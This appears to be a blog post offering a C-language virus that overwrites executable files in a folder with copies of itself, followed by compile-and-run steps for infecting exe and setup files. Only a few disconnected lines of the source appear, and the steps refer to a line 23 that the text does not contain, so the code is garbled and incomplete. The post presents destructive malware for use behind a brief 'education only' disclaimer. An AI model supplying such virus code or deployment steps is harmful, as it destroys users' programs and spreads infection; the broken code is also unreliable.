Hi Folks. I haven't posted anything related to programming for so long. So here I'm gonna show you how to create a simple virus in C language which is able to infect the exe files by replicating its own copies.
Wait a minute.. first if you're gonna praise me for this code then let me tell that I just get it from internet. Obviously I'm not the one who actually wrote this. If anyone who is the real writer of this code reading it then mail me dude because I have another Legendary code to discuss.
Anyways lets take a look how this code works.
At the time of execution this program simple flush all the code of the present exe and then dump its own code into them which obviously turn them into its copies enabled with the same functionality.
Warning: This is for the education purpose only. I'm not responsible for any damage done to anyone
- Open the Notepad and copy the below code into it:
unsigned long x;
struct ffblk ffblk;
if(host==NULL) goto next;
printf(“DONE! (Total Files Infected= %d)”,a);
printf(“TIME TAKEN=%f SEC\n”,(end-st)/CLK_TCK);
- Save as > virus.c
- Now compile this code with your C compiler. You can take a look here
- Note down the generated exe file length in bytes
- Replace the value of X at line 23 in source code to this length in bytes
- Recompile the code. The new exe file is ready to infect
- Open new empty folder
- Put some exe files (you can also put the setup files)
- When you execute the virus.exe file then all the files present there will be infected
- All the infected files will be ready to reinfect